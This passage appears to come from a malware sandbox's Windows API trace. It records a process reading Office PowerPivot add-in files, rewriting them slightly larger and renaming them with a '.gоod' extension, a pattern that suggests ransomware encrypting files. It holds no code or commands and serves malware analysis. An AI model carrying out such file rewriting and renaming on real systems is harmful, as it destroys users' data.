(in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0228.720] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.720] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0228.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed560) returned 1 [0228.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed520) returned 1 [0228.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", lpFilePart=0x0) returned 0x78 [0228.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed3d0) returned 1 [0228.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), fInfoLevelId=0x0, lpFileInformation=0x3639c18 | out: lpFileInformation=0x3639c18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d78c8)) returned 1 [0228.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed390) returned 1 [0228.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", lpFilePart=0x0) returned 0x78 [0228.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0228.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0228.722] GetFileType (hFile=0x630) returned 0x1 [0228.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0228.722] GetFileType (hFile=0x630) returned 0x1 [0228.722] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ed428*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ed428*=0) returned 0x1000 [0228.722] ReadFile (in: hFile=0x630, lpBuffer=0x363a170, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x363a170*, lpNumberOfBytesRead=0x206ed3f8*=0x1000, lpOverlapped=0x0) returned 1 [0228.991] CloseHandle (hObject=0x630) returned 1 [0228.991] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", lpFilePart=0x0) returned 0x78 [0228.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0228.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0229.014] GetFileType (hFile=0x858) returned 0x1 [0229.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0229.014] GetFileType (hFile=0x858) returned 0x1 [0229.014] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ed428*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ed428*=0) returned 0x2d78c8 [0229.015] WriteFile (in: hFile=0x858, lpBuffer=0x36303a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ed318, lpOverlapped=0x0 | out: lpBuffer=0x36303a8*, lpNumberOfBytesWritten=0x206ed318*=0x10, lpOverlapped=0x0) returned 1 [0229.016] CloseHandle (hObject=0x858) returned 1 [0229.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", lpFilePart=0x0) returned 0x78 [0229.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0229.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0229.017] GetFileType (hFile=0x858) returned 0x1 [0229.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0229.017] GetFileType (hFile=0x858) returned 0x1 [0229.017] ReadFile (in: hFile=0x858, lpBuffer=0x3632738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ed3a8, lpOverlapped=0x0 | out: lpBuffer=0x3632738*, lpNumberOfBytesRead=0x206ed3a8*=0x1000, lpOverlapped=0x0) returned 1 [0229.877] CloseHandle (hObject=0x858) returned 1 [0229.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", nBufferLength=0x105, lpBuffer=0x206ecdb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", lpFilePart=0x0) returned 0x78 [0229.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed2d0) returned 1 [0229.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0229.878] GetFileType (hFile=0x858) returned 0x1 [0229.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed240) returned 1 [0229.878] GetFileType (hFile=0x858) returned 0x1 [0229.878] WriteFile (in: hFile=0x858, lpBuffer=0x35c93a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206ed458, lpOverlapped=0x0 | out: lpBuffer=0x35c93a8*, lpNumberOfBytesWritten=0x206ed458*=0x1010, lpOverlapped=0x0) returned 1 [0229.878] CloseHandle (hObject=0x858) returned 1 [0229.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll", lpFilePart=0x0) returned 0x78 [0229.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll.gоod", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll.gоod", lpFilePart=0x0) returned 0x7d [0229.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed390) returned 1 [0229.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), fInfoLevelId=0x0, lpFileInformation=0x206ed470 | out: lpFileInformation=0x206ed470*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x853c1a45, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d78d8)) returned 1 [0229.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed350) returned 1 [0229.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.analysisservices.modeler.ui.rll.gоod")) returned 1 [0229.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", lpFilePart=0x0) returned 0x79 [0229.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed3d0) returned 1 [0229.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb"), fInfoLevelId=0x0, lpFileInformation=0x3626650 | out: lpFileInformation=0x3626650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd4)) returned 1 [0229.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed390) returned 1 [0229.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", nBufferLength=0x105, lpBuffer=0x206ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", lpFilePart=0x0) returned 0x79 [0229.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed280) returned 1 [0229.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0229.881] GetFileType (hFile=0x858) returned 0x1 [0229.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed1f0) returned 1 [0229.881] GetFileType (hFile=0x858) returned 0x1 [0229.881] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x206ed428 | out: lpFileSizeHigh=0x206ed428*=0x0) returned 0xfd4 [0229.881] ReadFile (in: hFile=0x858, lpBuffer=0x3627a40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ed358, lpOverlapped=0x0 | out: lpBuffer=0x3627a40*, lpNumberOfBytesRead=0x206ed358*=0xfd4, lpOverlapped=0x0) returned 1 [0229.882] CloseHandle (hObject=0x858) returned 1 [0230.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", nBufferLength=0x105, lpBuffer=0x206ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", lpFilePart=0x0) returned 0x79 [0230.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed280) returned 1 [0230.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0230.633] GetFileType (hFile=0x858) returned 0x1 [0230.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed1f0) returned 1 [0230.634] GetFileType (hFile=0x858) returned 0x1 [0230.634] WriteFile (in: hFile=0x858, lpBuffer=0x370c618*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x206ed268, lpOverlapped=0x0 | out: lpBuffer=0x370c618*, lpNumberOfBytesWritten=0x206ed268*=0xfe0, lpOverlapped=0x0) returned 1 [0230.635] CloseHandle (hObject=0x858) returned 1 [0230.635] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb", lpFilePart=0x0) returned 0x79 [0230.635] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb.gоod", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb.gоod", lpFilePart=0x0) returned 0x7e [0230.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed390) returned 1 [0230.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb"), fInfoLevelId=0x0, lpFileInformation=0x206ed470 | out: lpFileInformation=0x206ed470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85afa6ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfe0)) returned 1 [0230.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed350) returned 1 [0230.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\microsoft.office.powerpivot.exceladdin.tlb.gоod")) returned 1 [0230.636] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", lpFilePart=0x0) returned 0x6d [0230.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed3d0) returned 1 [0230.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb"), fInfoLevelId=0x0, lpFileInformation=0x370de40 | out: lpFileInformation=0x370de40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab0)) returned 1 [0230.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed390) returned 1 [0230.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", nBufferLength=0x105, lpBuffer=0x206ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", lpFilePart=0x0) returned 0x6d [0230.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed280) returned 1 [0230.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0230.638] GetFileType (hFile=0x858) returned 0x1 [0230.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed1f0) returned 1 [0230.638] GetFileType (hFile=0x858) returned 0x1 [0230.638] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x206ed428 | out: lpFileSizeHigh=0x206ed428*=0x0) returned 0xab0 [0230.638] ReadFile (in: hFile=0x858, lpBuffer=0x37101b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ed358, lpOverlapped=0x0 | out: lpBuffer=0x37101b0*, lpNumberOfBytesRead=0x206ed358*=0xab0, lpOverlapped=0x0) returned 1 [0230.639] CloseHandle (hObject=0x858) returned 1 [0230.899] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", nBufferLength=0x105, lpBuffer=0x206ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", lpFilePart=0x0) returned 0x6d [0230.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed280) returned 1 [0230.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0230.901] GetFileType (hFile=0x858) returned 0x1 [0230.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ed1f0) returned 1 [0230.901] GetFileType (hFile=0x858) returned 0x1 [0230.901] WriteFile (in: hFile=0x858, lpBuffer=0x37a9140*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x206ed268, lpOverlapped=0x0 | out: lpBuffer=0x37a9140*, lpNumberOfBytesWritten=0x206ed268*=0xac0, lpOverlapped=0x0) returned 1 [0230.902] CloseHandle (hObject=0x858) returned 1 [0230.902] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb", lpFilePart=0x0) returned 0x6d [0230.902] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb.gоod", nBufferLength=0x105, lpBuffer=0x206ecf00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb.gоod", lpFilePart=0x0) returned 0x72 [0230.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ed390) returned 1 [0230.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\PowerPivotExcelClientAddIn.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\powerpivotexcelclientaddin.tlb"), fInfoLevelId=0x0, lpFileInformation=0x206ed470 | out: lpFileInformation=0x206ed470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x85d82e3b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, 